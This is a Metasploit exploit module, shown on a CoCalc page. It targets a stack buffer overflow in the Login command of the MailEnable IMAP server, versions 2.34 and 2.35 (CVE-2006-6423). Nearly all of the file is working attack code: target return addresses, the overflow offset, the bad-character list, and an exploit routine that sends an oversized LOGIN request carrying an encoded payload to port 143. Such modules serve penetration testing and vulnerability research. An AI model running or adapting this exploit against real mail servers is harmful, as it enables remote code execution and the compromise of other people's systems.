CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'MailEnable IMAPD (2.34/2.35) Login Request Buffer Overflow',
14
      'Description'    => %q{
15
          MailEnable's IMAP server contains a buffer overflow
16
        vulnerability in the Login command.
17
      },
18
      'Author'         => [ 'MC' ],
19
      'License'        => MSF_LICENSE,
20
      'References'     =>
21
        [
22
          [ 'CVE', '2006-6423'],
23
          [ 'OSVDB', '32125'],
24
          [ 'BID', '21492']
25
        ],
26
      'Privileged'     => true,
27
      'DefaultOptions' =>
28
        {
29
          'EXITFUNC' => 'thread',
30
        },
31
      'Payload'        =>
32
        {
33
          'Space'    => 450,
34
          'BadChars' => "\x00\x0a\x0d\x20",
35
          'StackAdjustment' => -3500,
36
        },
37
      'Platform'       => 'win',
38
      'Targets'        =>
39
        [
40

41
          [ 	'MailEnable 2.35 Pro',
42
            {
43
              'Ret' =>  0x10049abb,
44
            }
45
          ], #MEAISP.DLL
46

47
          [ 	'MailEnable 2.34 Pro',
48
            {
49
              'Ret' =>  0x76095d68,
50
              'Offset' => 556,
51
            }
52
          ], #push esp #  ret  | ascii {PAGE_EXECUTE_READ} [MSVCP60.dll]
53
        ],
54
      'DisclosureDate' => '2006-12-11',
55
      'DefaultTarget' => 0))
56

57
    register_options( [ Opt::RPORT(143) ])
58
  end
59

60
  def exploit
61
    connect
62

63
    auth	=   "a001 LOGIN " + rand_text_alpha_upper(4) + " {10}\r\n"
64
    sploit	=   rand_text_alpha_upper(556) + [target.ret].pack('V')
65
    sploit	<<  payload.encoded + "\r\n\r\n"
66

67
    res = sock.recv(50)
68
      if ( res =~ / OK IMAP4rev1/)
69
        print_status("Trying target #{target.name}...")
70
        sock.put(auth)
71
        sock.get_once(-1, 3)
72
        sock.put(sploit)
73
      else
74
        print_status("Not running IMAP4rev1...")
75
      end
76

77
    handler
78
    disconnect
79
  end
80
end
81

82